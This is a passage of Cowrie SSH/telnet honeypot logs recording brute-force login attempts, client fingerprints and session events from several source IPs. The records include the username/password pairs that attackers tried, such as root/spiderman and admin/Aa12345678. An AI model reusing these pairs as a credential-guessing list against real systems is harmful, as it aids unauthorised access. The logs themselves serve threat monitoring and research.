-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:07.541582Z","src_ip":"141.11.88.14","session":"30d4a79f082e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901990","message":"login attempt [root/19901990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:07.943238Z","src_ip":"141.11.88.14","session":"30d4a79f082e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:09.222941Z","src_ip":"141.11.88.14","session":"30d4a79f082e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":26290,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f686e8d904a","protocol":"ssh","message":"New connection: 141.11.88.14:26290 (10.17.0.5:22) [session: 8f686e8d904a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.051718Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":60906,"dst_ip":"159.203.135.109","dst_port":22,"session":"66ad5b4c61a2","protocol":"ssh","message":"New connection: 161.132.50.236:60906 (159.203.135.109:22) [session: 66ad5b4c61a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.175318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.180366Z","src_ip":"161.132.50.236","session":"66ad5b4c61a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.241611Z","src_ip":"141.11.88.14","session":"8f686e8d904a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.244942Z","src_ip":"141.11.88.14","session":"8f686e8d904a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.275457Z","src_ip":"161.132.50.236","session":"66ad5b4c61a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comercial","password":"comercial","message":"login attempt [comercial/comercial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:12.670079Z","src_ip":"161.132.50.236","session":"66ad5b4c61a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"log","password":"log","message":"login attempt [log/log] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:13.102161Z","src_ip":"141.11.88.14","session":"8f686e8d904a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.14773297309875,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:13.353961Z","src_ip":"94.23.66.112","session":"3cf34581482c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:13.762236Z","src_ip":"161.132.50.236","session":"66ad5b4c61a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:14.190412Z","src_ip":"141.11.88.14","session":"8f686e8d904a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39502,"dst_ip":"10.17.0.5","dst_port":22,"session":"8992dff98684","protocol":"ssh","message":"New connection: 141.11.88.14:39502 (10.17.0.5:22) [session: 8992dff98684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:17.540046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:17.554916Z","src_ip":"141.11.88.14","session":"8992dff98684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:17.643860Z","src_ip":"141.11.88.14","session":"8992dff98684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:17.972808Z","src_ip":"141.11.88.14","session":"8992dff98684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:19.056793Z","src_ip":"141.11.88.14","session":"8992dff98684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42848,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0b5d3cfbb8","protocol":"ssh","message":"New connection: 27.71.230.31:42848 (159.203.135.109:22) [session: 2f0b5d3cfbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:21.789058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:21.823147Z","src_ip":"27.71.230.31","session":"2f0b5d3cfbb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:24.057670Z","src_ip":"27.71.230.31","session":"2f0b5d3cfbb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39576,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04494304aeb","protocol":"ssh","message":"New connection: 141.11.88.14:39576 (10.17.0.5:22) [session: d04494304aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:24.780015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:24.856627Z","src_ip":"141.11.88.14","session":"d04494304aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:24.954085Z","src_ip":"141.11.88.14","session":"d04494304aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spiderman","message":"login attempt [root/spiderman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:25.511312Z","src_ip":"141.11.88.14","session":"d04494304aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:26.617003Z","src_ip":"141.11.88.14","session":"d04494304aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123456!","message":"login attempt [root/Password123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:28.565526Z","src_ip":"27.71.230.31","session":"2f0b5d3cfbb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:30.591232Z","src_ip":"27.71.230.31","session":"2f0b5d3cfbb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42198,"dst_ip":"10.17.0.5","dst_port":22,"session":"aca211e16c93","protocol":"ssh","message":"New connection: 141.11.88.14:42198 (10.17.0.5:22) [session: aca211e16c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:30.773240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:31.174550Z","src_ip":"141.11.88.14","session":"aca211e16c93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:31.177827Z","src_ip":"141.11.88.14","session":"aca211e16c93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alec","password":"alec","message":"login attempt [alec/alec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:32.113148Z","src_ip":"141.11.88.14","session":"aca211e16c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:33.219720Z","src_ip":"141.11.88.14","session":"aca211e16c93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":40350,"dst_ip":"10.17.0.5","dst_port":22,"session":"a272ac552cbd","protocol":"ssh","message":"New connection: 14.63.196.175:40350 (10.17.0.5:22) [session: a272ac552cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:36.518553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:36.522997Z","src_ip":"14.63.196.175","session":"a272ac552cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:36.725346Z","src_ip":"14.63.196.175","session":"a272ac552cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa12345678","message":"login attempt [admin/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:37.569948Z","src_ip":"14.63.196.175","session":"a272ac552cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24804,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5bc8e58f0dd","protocol":"ssh","message":"New connection: 141.11.88.14:24804 (10.17.0.5:22) [session: e5bc8e58f0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:37.864356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:37.894588Z","src_ip":"141.11.88.14","session":"e5bc8e58f0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:38.069581Z","src_ip":"141.11.88.14","session":"e5bc8e58f0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:38.546711Z","src_ip":"141.11.88.14","session":"e5bc8e58f0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:38.787478Z","src_ip":"14.63.196.175","session":"a272ac552cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:39.767246Z","src_ip":"141.11.88.14","session":"e5bc8e58f0dd","protocol":"ssh"}
